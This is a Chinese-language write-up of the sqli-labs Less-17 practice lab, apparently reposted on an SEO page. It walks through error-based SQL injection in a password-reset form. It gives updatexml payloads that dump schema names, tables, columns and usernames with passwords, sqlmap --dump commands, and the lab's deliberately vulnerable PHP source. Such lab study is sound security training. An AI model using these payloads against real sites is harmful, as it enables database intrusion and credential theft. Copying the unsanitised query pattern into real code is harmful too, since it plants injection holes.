当前位置: 首页 > news >正文

网站做可以退款吗平台推广方式

网站做可以退款吗,平台推广方式,景宁县建设局网站,郑州电子商务网站建设目录 一、测试环境 1、系统环境 2、使用工具/软件 二、测试目的 三、操作过程 1、寻找注入点 2、注入数据库 ①寻找注入方法 ②爆库,查看数据库名称 ③爆表,查看security库的所有表 ④爆列,查看users表的所有列 ⑤成功获取用户名…

目录

一、测试环境

1、系统环境

2、使用工具/软件

二、测试目的

三、操作过程

1、寻找注入点

2、注入数据库

①寻找注入方法

②爆库,查看数据库名称

③爆表,查看security库的所有表

④爆列,查看users表的所有列

⑤成功获取用户名和密码信息

3、sqlmap注入方法

①爆库

②爆表

③爆列

④爆字段

四、源代码分析

五、结论


一、测试环境

1、系统环境

渗透机:本机(127.0.0.1)

靶  机:本机(127.0.0.1)

2、使用工具/软件

火狐浏览器的hackbar插件,版本:2.3.1;

Burp suite,版本:2024.7.2;

测试网址:http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-17/

二、测试目的

测试post型的sql注入,使用报错注入出账户密码;使用sqlmap爆破,熟悉sqlmap的参数。

三、操作过程

1、寻找注入点

尝试提交数据,发现url中没有参数,猜测是post型传参

抓个包看看,是post类型传参,两个注入点:username和password

2、注入数据库

①寻找注入方法

知道传递数据方式后,直接使用hackbar传递post型参数即可,格式抓包可以知道

uname=12&passwd=12&submit=Submit

执行,可以传递数据

这是重置密码页面:

尝试发现,用户名username框不管包含单引号还是双引号,都是不会报错的;

密码new password框分情况:如果username框中输入的是系统中不存在的用户名,则new password框中不管包含单引号还是双引号,都是不会报错的;但如果user name框中输入的是系统中存在的用户名,则new password框中包含单引号会报错。

账号admin  密码加上单引号会报错

测试闭合方式

闭合方式为单引号,后面拼接报错注入方式可以查出结果

uname=admin&passwd=12' and updatexml(1,concat(0x7e,substr((select version()),1,31),0x7e),1)#&submit=Submit

②爆库,查看数据库名称

爆出所有数据库

uname=admin&passwd=12' and updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),1,31),0x7e),1)#&submit=Submit

uname=admin&passwd=12' and updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),32,31),0x7e),1)#&submit=Submit

uname=admin&passwd=12' and updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),63,31),0x7e),1)#&submit=Submit

③爆表,查看security库的所有表

爆表,security表

uname=admin&passwd=12' and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,31),0x7e),1)#&submit=Submit

④爆列,查看users表的所有列

爆列,users表

uname=admin&passwd=12' and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),1,31),0x7e),1)#&submit=Submit

⑤成功获取用户名和密码信息

爆字段值,查看username和password字段的所有信息

发现查users表会出错,因为语句已经使用了更新数据的语句(是重置密码页面,因此,sql语句可能是update),不能再用updatexml函数查找这张表

uname=admin&passwd=12' and updatexml(1,concat(0x7e,substr((select group_concat(username,'^',password) from users),1,31),0x7e),1)#&submit=Submit

查其他数据库的表没问题

uname=admin&passwd=12' and updatexml(1,concat(0x7e,substr((select group_concat(username,'^',password) from pikachu.users),1,31),0x7e),1)#&submit=Submit

3、sqlmap注入方法

①爆库

这关是post传参,sqlmap爆破需要抓包将数据包保存,再进行爆破

Sqlmap稳定发挥,yyds

Burp右键选择copy to file保存

python sqlmap.py -r C:\Users\lenovo\Desktop\1.txt --dbs

使用python程序

-r  指定抓到的数据包文件

--dbs   是爆库的参数

②爆表

python sqlmap.py -r C:\Users\lenovo\Desktop\1.txt -D security --tables 

-D  指定数据库,在这个数据库里找数据表

--tables   爆表的参数

③爆列

python sqlmap.py -r C:\Users\lenovo\Desktop\1.txt -D security -T users --columns

-D   指定数据库

-T   指定数据表

--columns    爆破列名的参数

④爆字段

python sqlmap.py -r C:\Users\lenovo\Desktop\1.txt -D security -T users -C username,password --dump

-D   指定数据库

-T   指定数据表

-C   指定需要爆破的列名

--dump    爆破字段值的参数

四、源代码分析

<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);function check_input($value){if(!empty($value)){// truncation (see comments)$value = substr($value,0,15);}// Stripslashes if magic quotes enabledif (get_magic_quotes_gpc()){$value = stripslashes($value);}// Quote if not a numberif (!ctype_digit($value)){$value = "'" . mysql_real_escape_string($value) . "'";}else{$value = intval($value);}return $value;}// take the variables
if(isset($_POST['uname']) && isset($_POST['passwd'])){
//making sure uname is not injectable
$uname=check_input($_POST['uname']);  $passwd=$_POST['passwd'];//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'User Name:'.$uname."\n");
fwrite($fp,'New Password:'.$passwd."\n");
fclose($fp);// connectivity 
@$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";$result=mysql_query($sql);
$row = mysql_fetch_array($result);
//echo $row;if($row){//echo '<font color= "#0000ff">';   $row1 = $row['username'];   //echo 'Your Login name:'. $row1;$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";mysql_query($update);echo "<br>";if (mysql_error()){echo '<font color= "#FFFF00" font size = 3 >';print_r(mysql_error());echo "</br></br>";echo "</font>";}else{echo '<font color= "#FFFF00" font size = 3 >';//echo " You password has been successfully updated " ;     echo "<br>";echo "</font>";}echo '<img src="../images/flag1.jpg"   />'; //echo 'Your Password:' .$row['password'];echo "</font>";}else  {echo '<font size="4.5" color="#FFFF00">';//echo "Bug off you Silly Dumb hacker";echo "</br>";echo '<img src="../images/slap1.jpg"   />';echo "</font>";  }
}?>

1.error_reporting(0);函数,关闭了php代码的所有错误报告。

2.先检测了用户名是否存在,存在才会验证密码,验证密码时直接引入了变量,存在sql注入,出错时会弹出报错信息。

3.这关是重置密码的页面,出错会弹出报错信息,只能在密码处注入,存在万能密码漏洞,使用报错注入出信息。

五、结论

寻找注入点的步骤十分重要,找到注入点和闭合符号之后的测试就顺理成章了。

Post类型sql注入,注入方式要完整提交post参数,其他步骤与get类型一致。

寻找闭合符号要有耐心,需要不断地尝试。

用sqlmap的话,只需要指定抓到的数据包即可。

这关使用报错注入得到结果。

http://www.ritt.cn/news/25297.html

相关文章:

  • 网上做设计的网站有哪些企业培训课程安排表
  • 营销型网站传统网站自己怎么做一个网页
  • 成都住建局官网查询aso榜单优化
  • 基层单位不能建设网站软文营销写作技巧有哪些?
  • 如何建设游戏平台网站爱站长
  • 网站维护员免费浏览外国网站的软件
  • 做家电选招标采购哪一个网站好提高工作效率的软件
  • 温州营销网站制作联系电话十大跨界营销案例
  • 做app的模板下载网站有哪些网络营销管理办法
  • 庞各庄网站建设seo排名优化教程
  • 网站漂浮特效怎么做关联词有哪些小学
  • wordpress添加论坛杭州网站seo外包
  • shopnc本地生活o2o网站系统百度客户服务中心
  • wordpress去掉更新提示四川seo哪里有
  • 北京企业网站推广网上怎么找人去推广广告
  • 网站开发 ssh 菜鸟优化网站页面
  • 网站建设及服务合同书引擎搜索是什么意思
  • 可信网站认证必须做吧免费二级域名申请网站
  • net网站开发参考文献站长域名查询
  • 网站建设规划公司地址磁力兔子
  • 怎么做网站数据库近期重大新闻
  • 做b2b2c商城网站杭州网站推广找哪家
  • 天津微网站建设百度app官方下载
  • 网站建设方案.docsemir是什么牌子
  • 律师个人 网站做优化百度文库个人登录
  • 无锡做食品网站的公司哪家好四川seo
  • 知名网站建设公司免费代码网站
  • 做自己的网站要钱么网络推广服务外包
  • 珠海网络公司排名搜索引擎优化seo应用
  • 学做电商的网站有哪些企业seo网络推广